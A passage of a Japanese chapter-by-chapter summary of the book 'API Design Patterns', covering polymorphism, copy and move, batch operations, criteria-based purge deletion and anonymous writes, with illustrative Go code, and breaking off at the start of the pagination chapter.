異なるリソースタイプが将来的に異なる振る舞いを必要とする可能性があります。ポリモーフィックメソッドはこの柔軟性を制限します。複雑性の増加: メソッド内で多くの条件分岐が必要になり、コードの複雑性が増加します。バージョニングの難しさ: 一部のリソースタイプに対してのみ変更を加えたい場合、既存のクライアントに影響を与えずにそれを行うことが困難になります。ドキュメンテーションの複雑さ: 様々なリソースタイプに対する振る舞いを明確にドキュメント化することが難しくなります。代わりに、著者は各リソースタイプに対して個別のメソッドを定義することを推奨しています。これにより、APIの柔軟性と保守性が向上します。結論第16章「Polymorphism」は、APIにおけるポリモーフィズムの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、拡張性、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。ポリモーフィックリソースは、異なるサブタイプを持つリソースを効果的に表現し、管理するための強力なツールです。タイプフィールドを使用してリソースのサブタイプを明示的に示すことで、APIの柔軟性と拡張性が向上します。ポリモーフィックリソースの設計には慎重な考慮が必要で、特にデータ構造とバリデーションに注意を払う必要があります。ポリモーフィックメソッドは避けるべきで、代わりに各リソースタイプに対して個別のメソッドを定義することが推奨されます。ポリモーフィズムの適用は、APIの一貫性を向上させつつ、将来的な拡張性を確保するための効果的な手段となります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、ポリモーフィズムの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。ポリモーフィズムの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。Part 5 Collective operationsこのパートでは、複数のリソースを一度に操作する方法について議論されています。コピーと移動、バッチ操作、条件付き削除、匿名書き込み、ページネーション、フィルタリング、インポートとエクスポートなど、大量のデータや複雑な操作を効率的に扱うための手法が紹介されています。これらの操作は、特に大規模なシステムやデータ集約型のアプリケーションにおいて重要です。17 Copy and move「API Design Patterns」の第17章「Copy and move」は、APIにおけるリソースのコピーと移動操作の実装方法、その複雑さ、そしてトレードオフについて詳細に論じています。この章を通じて、著者はこれらの操作が一見単純に見えるものの、実際には多くの考慮事項と課題を含む複雑な問題であることを明確に示しています。コピーと移動操作の必要性と概要著者は、理想的な世界ではリソースの階層関係が完璧に設計され、不変であるべきだと指摘しています。しかし現実には、ユーザーの誤りや要件の変更により、リソースの再配置や複製が必要になることがあります。この問題に対処するため、著者はカスタムメソッドを使用したコピーと移動操作の実装を提案しています。これらの操作は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービス間でデータを移動したり、テスト環境から本番環境にリソースをコピーしたりする際に、これらの操作が必要になります。著者は、コピーと移動操作の基本的な構造として以下の要素を提案しています。カスタムメソッドの使用(標準のCRUD操作ではなく)対象リソースの識別子目的地(新しい親リソースまたは新しい識別子)これらの要素を組み合わせることで、APIは柔軟かつ制御可能なコピーと移動操作を提供することができます。実装の詳細と課題著者は、コピーと移動操作の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。識別子の扱い: コピー操作では、新しいリソースの識別子をどのように決定するか(ユーザー指定か、システム生成か)を慎重に検討する必要があります。移動操作では、識別子の変更が許可されるかどうかを考慮する必要があります。子リソースの扱い: 親リソースをコピーまたは移動する際、子リソースをどのように扱うかを決定する必要があります。著者は、一般的に子リソースも一緒にコピーまたは移動すべきだと提案しています。関連リソースの扱い: リソース間の参照関係をどのように維持するかを考慮する必要があります。特に移動操作では、関連リソースの参照を更新する必要があります。外部データの扱い: 大容量のデータ(例:ファイルの内容)をどのように扱うかを決定する必要があります。著者は、コピー操作では「copy-on-write」戦略を推奨しています。継承されたメタデータの扱い: 親リソースから継承されたメタデータ(例:アクセス制御ポリシー)をどのように扱うかを考慮する必要があります。アトミック性の確保: 操作全体のアトミック性をどのように確保するかを検討する必要があります。データベーストランザクションの使用や、ポイントインタイムスナップショットの利用が推奨されています。これらの課題に対処するため、著者は具体的な実装戦略を提案しています。例えば、Golangを用いてコピー操作を実装する場合、以下のようなコードが考えられます。type CopyRequest struct { SourceID string `json:\\"sourceId\\"` DestinationID string `json:\\"destinationId,omitempty\\"`}func (s *Service) CopyResource(ctx context.Context, req CopyRequest) (*Resource, error) { // トランザクションの開始 tx, err := s.db.BeginTx(ctx, nil) if err != nil { return nil, err } defer tx.Rollback() // ソースリソースの取得 source, err := s.getResourceWithinTx(tx, req.SourceID) if err != nil { return nil, err } // 新しい識別子の生成(または検証) destID := req.DestinationID if destID == \\"\\" { destID = generateNewID() } else if exists, _ := s.resourceExistsWithinTx(tx, destID); exists { return nil, ErrResourceAlreadyExists } // リソースのコピー newResource := copyResource(source, destID) // 子リソースのコピー if err := s.copyChildResourcesWithinTx(tx, source.ID, newResource.ID); err != nil { return nil, err } // 新しいリソースの保存 if err := s.saveResourceWithinTx(tx, newResource); err != nil { return nil, err } // トランザクションのコミット if err := tx.Commit(); err != nil { return nil, err } return newResource, nil}このコードは、データベーストランザクションを使用してコピー操作のアトミック性を確保し、子リソースも含めてコピーを行っています。また、目的地の識別子が指定されていない場合は新しい識別子を生成し、指定されている場合は既存リソースとの衝突をチェックしています。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティとパフォーマンス: コピーや移動操作は、大量のデータを扱う可能性があるため、システムのスケーラビリティとパフォーマンスに大きな影響を与えます。特に、大規模なリソース階層を持つシステムでは、これらの操作の効率的な実装が重要になります。データの整合性: コピーや移動操作中にデータの整合性を維持することは、システムの信頼性にとって極めて重要です。特に、分散システムにおいては、これらの操作のアトミック性を確保することが大きな課題となります。APIの進化と後方互換性: コピーや移動操作の導入は、APIの大きな変更となる可能性があります。既存のクライアントとの互換性を維持しつつ、これらの操作をどのように導入するかを慎重に検討する必要があります。セキュリティとアクセス制御: リソースのコピーや移動は、セキュリティモデルに大きな影響を与える可能性があります。特に、異なるセキュリティコンテキスト間でリソースを移動する場合、適切なアクセス制御の実装が重要になります。運用の複雑さ: コピーや移動操作の導入は、システムの運用複雑性を増大させる可能性があります。これらの操作のモニタリング、トラブルシューティング、そして必要に応じたロールバック手順の確立が重要になります。イベント駆動アーキテクチャとの統合: コピーや移動操作をイベントとして発行することで、システム全体の一貫性を維持しやすくなります。例えば、リソースが移動されたときにイベントを発行し、関連するサービスがそれに反応して必要な更新を行うことができます。結論第17章「Copy and move」は、APIにおけるリソースのコピーと移動操作の重要性と、その実装に伴う複雑さを明確に示しています。著者の提案する設計原則は、これらの操作を安全かつ効果的に実装するための重要な指針となります。特に重要な点は以下の通りです。コピーと移動操作は、カスタムメソッドとして実装すべきであり、標準的なCRUD操作では適切に処理できません。これらの操作は、子リソースや関連リソースにも影響を与えるため、その影響範囲を慎重に考慮する必要があります。データの整合性とアトミック性の確保が極めて重要であり、適切なトランザクション管理やスナップショット機能の利用が推奨されます。外部データやメタデータの扱い、特に大容量データの効率的な処理方法を考慮する必要があります。これらの操作の導入は、システムの複雑性を増大させる可能性があるため、その必要性を慎重に評価する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、コピーと移動操作の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの機能を拡張するだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。コピーと移動操作の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。しかし、同時にこれらの操作は系統的なリスクをもたらす可能性があるため、その導入には慎重な検討が必要です。API設計者とシステム設計者は、これらの操作の利点とリスクを十分に理解し、システムの要件に応じて適切に適用することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。18 Batch operations「API Design Patterns」の第18章「Batch operations」は、APIにおけるバッチ操作の重要性、設計原則、実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はバッチ操作が単なる利便性の向上だけでなく、APIの効率性、スケーラビリティ、そして全体的なシステムアーキテクチャにどのように影響を与えるかを明確に示しています。バッチ操作の必要性と概要著者は、個々のリソースに対する操作だけでなく、複数のリソースを一度に操作する必要性から議論を始めています。特に、データベースシステムにおけるトランザクションの概念を引き合いに出し、Webベースのシステムにおいても同様の原子性を持つ操作が必要であることを強調しています。バッチ操作の重要性は、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において顕著です。例えば、複数のサービス間でデータの一貫性を保ちながら大量のリソースを更新する必要がある場合、個別のAPI呼び出しでは効率が悪く、エラーハンドリングも複雑になります。バッチ操作を適切に設計することで、これらの問題を解決し、システム全体の効率性と信頼性を向上させることができます。著者は、バッチ操作を実現するための主要な方法として、標準メソッド(Get、Create、Update、Delete)に対応するバッチバージョンのカスタムメソッドを提案しています。BatchGetBatchCreateBatchUpdateBatchDeleteこれらのメソッドは、複数のリソースに対する操作を単一のAPI呼び出しで実行することを可能にします。バッチ操作の設計原則著者は、バッチ操作の設計に関していくつかの重要な原則を提示しています。原子性: バッチ操作は全て成功するか、全て失敗するかのいずれかであるべきです。部分的な成功は許容されません。コレクションに対する操作: バッチメソッドは、個々のリソースではなく、リソースのコレクションに対して操作を行うべきです。結果の順序保持: バッチ操作の結果は、リクエストで指定されたリソースの順序を保持して返すべきです。共通フィールドの最適化: リクエスト内で共通のフィールドを持つ場合、それらを「持ち上げ」て重複を避けるべきです。複数の親リソースに対する操作: 必要に応じて、異なる親リソースに属するリソースに対するバッチ操作をサポートすべきです。これらの原則は、バッチ操作の一貫性、効率性、そして使いやすさを確保する上で重要です。特に、原子性の保証は、システムの一貫性を維持し、複雑なエラーハンドリングを回避する上で非常に重要です。実装の詳細著者は、各バッチ操作メソッドの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。BatchGet: IDのリストを受け取り、対応するリソースのリストを返します。HTTP GETメソッドを使用し、IDはクエリパラメータとして渡されます。BatchCreate: 作成するリソースのリストを受け取り、作成されたリソースのリストを返します。HTTP POSTメソッドを使用します。BatchUpdate: 更新するリソースのリストとフィールドマスクを受け取り、更新されたリソースのリストを返します。HTTP POSTメソッドを使用します。BatchDelete: 削除するリソースのIDリストを受け取り、操作の成功を示すvoid型を返します。HTTP POSTメソッドを使用します。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangを用いてバッチ操作を実装する場合、以下のようなインターフェースとメソッドが考えられます。type BatchService interface { BatchGet(ctx context.Context, ids []string) ([]*Resource, error) BatchCreate(ctx context.Context, resources []*Resource) ([]*Resource, error) BatchUpdate(ctx context.Context, updates []*ResourceUpdate) ([]*Resource, error) BatchDelete(ctx context.Context, ids []string) error}type ResourceUpdate struct { ID string UpdateMask []string Resource *Resource}func (s *service) BatchGet(ctx context.Context, ids []string) ([]*Resource, error) { // トランザクションの開始 tx, err := s.db.BeginTx(ctx, nil) if err != nil { return nil, err } defer tx.Rollback() resources := make([]*Resource, len(ids)) for i, id := range ids { resource, err := s.getResourceWithinTx(tx, id) if err != nil { return nil, err // 1つでも失敗したら全体を失敗とする } resources[i] = resource } if err := tx.Commit(); err != nil { return nil, err } return resources, nil}この実装例では、BatchGetメソッドがトランザクションを使用して原子性を確保し、1つのリソースの取得に失敗した場合は全体を失敗として扱っています。バッチ操作の影響とトレードオフ著者は、バッチ操作の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: バッチ操作は、ネットワーク呼び出しの回数を減らし、全体的なスループットを向上させる可能性があります。しかし、大規模なバッチ操作は、サーバーリソースに大きな負荷をかける可能性もあります。エラーハンドリングの複雑さ: 原子性を保証することで、エラーハンドリングが簡素化されます。しかし、全て成功するか全て失敗するかの動作は、一部のユースケースでは不便な場合があります。API設計の一貫性: バッチ操作の導入は、API全体の設計に一貫性をもたらす可能性がありますが、同時に新たな複雑さも導入します。システムの復元力: 適切に設計されたバッチ操作は、システムの復元力を向上させる可能性があります。例えば、一時的な障害が発生した場合、バッチ全体をリトライすることで回復が容易になります。モニタリングと可観測性: バッチ操作は、システムの挙動を監視し理解することをより複雑にする可能性があります。個々の操作の詳細が見えにくくなるため、適切なロギングと監視戦略が重要になります。これらの影響とトレードオフを考慮しながら、バッチ操作の導入を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: バッチ操作は、マイクロサービス間のデータ一貫性を維持する上で重要な役割を果たします。例えば、複数のサービスにまたがるリソースの更新を、単一のトランザクションとして扱うことができます。イベント駆動アーキテクチャとの連携: バッチ操作の結果をイベントとして発行することで、システム全体の反応性と柔軟性を向上させることができます。キャッシュ戦略: バッチ操作は、キャッシュの一貫性維持を複雑にする可能性があります。適切なキャッシュ無効化戦略が必要になります。レート制限とクォータ管理: バッチ操作は、リソース使用量を急激に増加させる可能性があるため、適切なレート制限とクォータ管理が重要になります。非同期処理との統合: 長時間実行されるバッチ操作の場合、非同期処理パターン(例:ポーリング、Webhookなど)と統合することで、クライアントの応答性を向上させることができます。結論第18章「Batch operations」は、APIにおけるバッチ操作の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの効率性、スケーラビリティ、そして全体的なシステムアーキテクチャを大きく向上させる可能性があります。特に重要な点は以下の通りです。バッチ操作は、複数のリソースに対する操作を効率的に行うための強力なツールです。原子性の保証は、システムの一貫性を維持し、エラーハンドリングを簡素化する上で重要です。バッチ操作の設計には、結果の順序保持、共通フィールドの最適化、複数親リソースのサポートなど、いくつかの重要な原則があります。バッチ操作の導入は、システム全体のパフォーマンス、スケーラビリティ、そして運用性に大きな影響を与えます。バッチ操作の適切な実装には、トランザクション管理、エラーハンドリング、モニタリングなど、複数の側面を考慮する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。しかし、バッチ操作の導入には慎重な検討が必要です。全ての操作をバッチ化することが適切とは限らず、システムの要件や制約に基づいて適切なバランスを取る必要があります。また、バッチ操作の導入に伴う複雑さの増加を管理するために、適切なモニタリング、ロギング、そしてエラーハンドリング戦略を確立することが重要です。最後に、バッチ操作の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの機能を拡張するだけでなく、システム全体の効率性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。バッチ操作の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。特に、大規模なデータ処理や複雑なビジネスロジックを持つシステムにおいて、バッチ操作は極めて重要な役割を果たします。適切に設計されたバッチ操作は、システムの性能を大幅に向上させ、運用コストを削減し、ユーザー体験を向上させる強力なツールとなります。19 Criteria-based deletion「API Design Patterns」の第19章「Criteria-based deletion」は、APIにおける条件に基づく削除操作の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は条件に基づく削除操作(purge操作)が単なる利便性の向上だけでなく、APIの柔軟性、効率性、そして全体的なシステムの安全性にどのように影響を与えるかを明確に示しています。条件に基づく削除の必要性と概要著者は、バッチ削除操作の限界から議論を始めています。バッチ削除では、削除対象のリソースのIDを事前に知っている必要がありますが、実際の運用では特定の条件に合致するすべてのリソースを削除したい場合が多々あります。例えば、アーカイブされたすべてのチャットルームを削除するような操作です。この問題に対処するため、著者は「purge」と呼ばれる新しいカスタムメソッドを提案しています。purgeメソッドは、フィルタ条件を受け取り、その条件に合致するすべてのリソースを一度に削除します。これにより、複数のAPI呼び出し(リソースの一覧取得と削除の組み合わせ)を1回のAPI呼び出しに置き換えることができ、効率性と一貫性が向上します。しかし、著者はこの操作の危険性も明確に指摘しています。purge操作は、ユーザーが意図せずに大量のデータを削除してしまう可能性があるため、慎重に設計し、適切な安全機構を組み込む必要があります。purge操作の設計と実装著者は、purge操作の安全な実装のために以下の重要な要素を提案しています。forceフラグ: デフォルトでは削除を実行せず、プレビューモードとして動作します。実際に削除を行うには、明示的にforceフラグをtrueに設定する必要があります。purgeCount: 削除対象となるリソースの数を返します。プレビューモードでは概算値を返すこともあります。purgeSample: 削除対象となるリソースのサンプルセットを返します。これにより、ユーザーは削除対象が意図したものであるかを確認できます。これらの要素を組み合わせることで、APIは柔軟かつ安全な条件付き削除機能を提供することができます。著者は、purge操作の実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。フィルタリング: purge操作のフィルタは、標準的なリスト操作のフィルタと同じように動作すべきです。これにより、APIの一貫性が保たれます。デフォルトの動作: 安全性を確保するため、デフォルトではプレビューモードとして動作し、実際の削除は行いません。結果の一貫性: プレビューと実際の削除操作の間でデータが変更される可能性があるため、完全な一貫性は保証できません。この制限をユーザーに明確に伝える必要があります。これらの原則を適用した、Golangでのpurge操作の実装例を以下に示します。type PurgeRequest struct { Parent string `json:\\"parent\\"` Filter string `json:\\"filter\\"` Force bool `json:\\"force\\"`}type PurgeResponse struct { PurgeCount int `json:\\"purgeCount\\"` PurgeSample []string `json:\\"purgeSample,omitempty\\"`}func (s *Service) PurgeMessages(ctx context.Context, req *PurgeRequest) (*PurgeResponse, error) { // フィルタの検証 if req.Filter == \\"\\" { return nil, errors.New(\\"filter is required\\") } // マッチするリソースの取得 matchingResources, err := s.getMatchingResources(ctx, req.Parent, req.Filter) if err != nil { return nil, err } response := &PurgeResponse{ PurgeCount: len(matchingResources), PurgeSample: getSample(matchingResources, 100), } // 実際の削除操作 if req.Force { if err := s.deleteResources(ctx, matchingResources); err != nil { return nil, err } } return response, nil}この実装例では、forceフラグがfalseの場合はプレビューのみを行い、trueの場合に実際の削除を実行します。また、削除対象のサンプルを返すことで、ユーザーが意図した操作であるかを確認できるようにしています。purge操作の影響とトレードオフ著者は、purge操作の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスと効率性: purge操作は、複数のAPI呼び出しを1回の呼び出しに置き換えることで、全体的な効率を向上させます。しかし、大量のデータを一度に処理する必要があるため、サーバーリソースに大きな負荷をかける可能性があります。安全性とユーザビリティのバランス: デフォルトでプレビューモードとして動作することで安全性を確保していますが、これは同時にユーザーが2回のAPI呼び出しを行う必要があることを意味します。このトレードオフを適切に管理する必要があります。データの一貫性: プレビューと実際の削除操作の間でデータが変更される可能性があるため、完全な一貫性を保証することは困難です。この制限をユーザーに明確に伝え、適切に管理する必要があります。エラー処理の複雑さ: 大量のリソースを一度に削除する際、一部のリソースの削除に失敗した場合の処理が複雑になる可能性があります。部分的な成功をどのように扱うかを慎重に設計する必要があります。監視と可観測性: purge操作は、システムの状態を大きく変更する可能性があるため、適切な監視と監査メカニズムが不可欠です。どのような条件で、どれだけのリソースが削除されたかを追跡できるようにする必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: purge操作は、複数のマイクロサービスにまたがるデータの一貫性を維持する上で重要な役割を果たす可能性があります。例えば、ユーザーデータの削除(GDPR対応など)や、大規模なデータクリーンアップ操作に利用できます。イベント駆動アーキテクチャとの連携: purge操作の結果をイベントとして発行することで、関連するシステムコンポーネントが適切に反応し、全体的な一貫性を維持することができます。バックグラウンドジョブとしての実装: 大規模なpurge操作は、非同期のバックグラウンドジョブとして実装することを検討すべきです。これにより、クライアントのタイムアウトを回避し、システムの応答性を維持することができます。段階的な削除戦略: 大量のデータを一度に削除するのではなく、段階的に削除を行う戦略を検討すべきです。これにより、システムへの影響を最小限に抑えつつ、大規模な削除操作を安全に実行することができます。監査とコンプライアンス: purge操作は、監査とコンプライアンスの観点から重要です。どのデータがいつ、誰によって、どのような条件で削除されたかを追跡できるようにする必要があります。結論第19章「Criteria-based deletion」は、条件に基づく削除操作(purge操作)の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性と効率性を向上させる一方で、システムの安全性と整合性を維持することを目指しています。特に重要な点は以下の通りです。purge操作は、条件に基づいて複数のリソースを一度に削除する強力なツールですが、慎重に設計し、適切な安全機構を組み込む必要があります。デフォルトでプレビューモードとして動作し、実際の削除には明示的な承認(forceフラグ)を要求することで、意図しない大規模削除を防ぐことができます。削除対象のリソース数とサンプルを提供することで、ユーザーが操作の影響を事前に評価できるようにすることが重要です。データの一貫性の保証が難しいため、この制限をユーザーに明確に伝える必要があります。purge操作の導入は、システム全体のパフォーマンス、スケーラビリティ、そして運用性に大きな影響を与える可能性があるため、慎重に検討する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、かつ安全なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なデータ管理戦略の一部として直接的に適用可能です。しかし、purge操作の導入には慎重な検討が必要です。その強力な機能ゆえに、システムの安全性とデータの整合性に大きなリスクをもたらす可能性があります。したがって、purge操作は本当に必要な場合にのみ導入し、適切な制限と監視メカニズムを併せて実装することが重要です。最後に、purge操作の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの機能を拡張するだけでなく、システム全体のデータ管理戦略、セキュリティポリシー、そして運用プラクティスにも大きな影響を与えます。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。purge操作の適切な実装は、システムのデータ管理能力を大幅に向上させ、運用効率を高める可能性があります。しかし、同時にそれは大きな責任を伴います。API設計者とシステム設計者は、これらの操作の影響を深く理解し、適切なサフェガードを実装することで、より堅牢で効率的、かつ安全なシステムを構築することができるでしょう。特に、大規模なデータ管理や複雑なビジネスロジックを持つシステムにおいて、purge操作は極めて重要な役割を果たす可能性がありますが、その導入には慎重な検討と綿密な計画が不可欠です。20 Anonymous writes「API Design Patterns」の第20章「Anonymous writes」は、APIにおける匿名データの書き込みの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は従来のリソース指向のAPIデザインでは対応が難しい匿名データの取り扱いについて、新しいアプローチを提案し、それがシステム全体のアーキテクチャと運用にどのように影響を与えるかを明確に示しています。匿名データの必要性と概要著者は、これまでのAPIデザインパターンでは全てのデータをリソースとして扱ってきたことを指摘し、この approach が全てのシナリオに適しているわけではないという問題提起から議論を始めています。特に、時系列データやログエントリのような、個別に識別や操作する必要のないデータの取り扱いについて、新しいアプローチの必要性を強調しています。この問題は、特に大規模なデータ分析システムやクラウドネイティブな環境において顕著です。例えば、IoTデバイスから大量のセンサーデータを収集する場合や、マイクロサービス間のイベントログを記録する場合など、個々のデータポイントよりも集計結果や傾向分析が重要となるシナリオが多々あります。著者は、このような匿名データを扱うための新しいカスタムメソッド「write」を提案しています。このメソッドの主な特徴は以下の通りです。データは一意の識別子を持たず、個別にアドレス指定できない。書き込まれたデータは、主に集計や分析の目的で使用される。個々のデータエントリの取得、更新、削除は想定されていない。この概念は、現代のビッグデータ分析システムやイベント駆動アーキテクチャと非常に親和性が高く、特にクラウドネイティブな環境での応用が期待されます。write メソッドの実装著者は、write メソッドの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。戻り値: write メソッドは void を返すべきです。これは、個々のデータエントリが識別可能でないため、新しく作成されたリソースを返す必要がないためです。ペイロード: データは entry フィールドを通じて送信されます。これは標準の create メソッドの resource フィールドに相当します。URL構造: コレクションをターゲットとするべきです。例えば、/chatRooms/1/statEntries:write のような形式です。一貫性: write メソッドは即座に応答を返すべきですが、データが即座に読み取り可能である必要はありません。これは、大規模なデータ処理パイプラインの特性を反映しています。これらの原則を適用した、Golangでのwrite メソッドの実装例を以下に示します。type ChatRoomStatEntry struct { Name string `json:\\"name\\"` Value interface{} `json:\\"value\\"`}type WriteChatRoomStatEntryRequest struct { Parent string `json:\\"parent\\"` Entry ChatRoomStatEntry `json:\\"entry\\"`}func (s *Service) WriteChatRoomStatEntry(ctx context.Context, req *WriteChatRoomStatEntryRequest) error { // データの検証 if err := validateEntry(req.Entry); err != nil { return err } // データ処理パイプラインへの送信 if err := s.dataPipeline.Send(ctx, req.Parent, req.Entry); err != nil { return err } // 即座に成功を返す return nil}この実装例では、データの検証を行った後、非同期のデータ処理パイプラインにデータを送信しています。メソッドは即座に応答を返し、クライアントはデータが処理されるのを待つ必要がありません。一貫性と運用上の考慮事項著者は、write メソッドの一貫性モデルについて重要な指摘をしています。従来のリソース指向のAPIでは、データの書き込み後即座にそのデータが読み取り可能であることが期待されますが、write メソッドではこの即時一貫性は保証されません。これは、大規模なデータ処理システムの現実的な運用を反映しています。例えば、時系列データベースやビッグデータ処理システムでは、データの取り込みと処理に時間差があるのが一般的です。著者は、この非同期性を明示的に設計に組み込むことで、より効率的で拡張性の高いシステムが構築できると主張しています。運用の観点から見ると、この設計には以下のような利点があります。スケーラビリティの向上: データの取り込みと処理を分離することで、それぞれを独立してスケールさせることができます。システムの回復力: データ処理パイプラインに一時的な問題が発生しても、データの取り込み自体は継続できます。バッファリングと負荷平準化: 取り込んだデータをバッファリングすることで、下流のシステムへの負荷を平準化できます。運用の柔軟性: データ処理ロジックを変更する際に、APIインターフェースを変更せずに済みます。著者は、クライアントにデータの処理状況を伝えるために、HTTP 202 Accepted ステータスコードの使用を推奨しています。これは、データが受け入れられたが、まだ完全に処理されていないことを示す適切な方法です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。イベント駆動アーキテクチャとの親和性: write メソッドは、イベントソーシングやCQRSパターンと非常に相性が良いです。例えば、マイクロサービス間の非同期通信や、イベントストリームの生成に活用できます。観測可能性の向上: 匿名データの書き込みを明示的に設計に組み込むことで、システムの振る舞いをより詳細に観測できるようになります。例えば、各サービスの内部状態の変化を時系列データとして記録し、後で分析することが容易になります。コンプライアンスと監査: 匿名データの書き込みを標準化することで、システム全体の動作ログを一貫した方法で収集できます。これは、コンプライアンス要件の遵守や、システムの監査に役立ちます。パフォーマンスチューニング: 集計データの収集を最適化することで、システム全体のパフォーマンスプロファイルを詳細に把握し、ボトルネックの特定や最適化が容易になります。A/Bテストとフィーチャーフラグ: 匿名データを活用することで、新機能の段階的なロールアウトや、A/Bテストの結果収集を効率的に行うことができます。結論第20章「Anonymous writes」は、APIにおける匿名データの取り扱いの重要性と、その適切な実装方法を明確に示しています。著者の提案するwrite メソッドは、従来のリソース指向のAPIデザインを補完し、より柔軟で拡張性の高いシステム設計を可能にします。特に重要な点は以下の通りです。全てのデータをリソースとして扱う必要はなく、匿名データの概念を導入することで、より効率的なデータ処理が可能になります。write メソッドは、即時一貫性を犠牲にする代わりに、高いスケーラビリティと柔軟性を提供します。匿名データの取り扱いは、大規模なデータ分析システムやイベント駆動アーキテクチャと非常に親和性が高いです。システムの観測可能性、コンプライアンス、パフォーマンスチューニングなど、運用面でも多くの利点があります。write メソッドの導入には、システム全体のアーキテクチャと処理パイプラインの設計を考慮する必要があります。これらの原則を適切に適用することで、開発者はより柔軟で拡張性の高いAPIを設計することができます。特に、大規模なデータ処理や複雑なイベント駆動システムを扱う場合、この設計パターンは非常に有用です。しかし、write メソッドの導入には慎重な検討も必要です。即時一貫性が重要なユースケースでは、従来のリソース指向のアプローチが適している場合もあります。また、匿名データの取り扱いは、データの追跡やデバッグを複雑にする可能性があるため、適切なモニタリングとログ記録の戦略が不可欠です。最後に、匿名データの取り扱いはシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。write メソッドの導入は、単にAPIの機能を拡張するだけでなく、システム全体のデータフロー、処理パイプライン、そして運用プラクティスにも大きな影響を与えます。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で複雑なシステムの設計において非常に重要です。匿名データの適切な取り扱いは、システムの拡張性、柔軟性、そして運用効率を大きく向上させる可能性があります。API設計者とシステム設計者は、これらの概念を深く理解し、適切に応用することで、より堅牢で効率的なシステムを構築することができるでしょう。21 Pagination「API Design Patterns」の第21章「Pagination」は、APIにおけるページネーションの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はページネーションが単なる機能の追加ではなく、APIの使いやすさ、効率性、そして全体的なシステムのスケーラビリティにどのように影響を与えるかを明確に示しています。ページネーションの必要性と概要著者は、大規模なデータセットを扱う際のページネーションの必要性から議論を始めています。特に、1億件のデータを一度に返そうとすることの問題点を指摘し、ページネーションがこの問題にどのように対処するかを説明しています。ページネーションは、大量のデータを管理可能な「チャンク」に分割し、クライアントが必要に応じてデータを取得できるようにする方法です。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化する必要があります。ページネーションは、このような環境でのデータ転送を最適化し、システム全体のパフォーマンスと応答性を向上させる重要な手段となります。著者は、ページネーションの基本的な構造として以下の要素を提案しています。pageToken: 次のページを取得するためのトークンmaxPageSize: 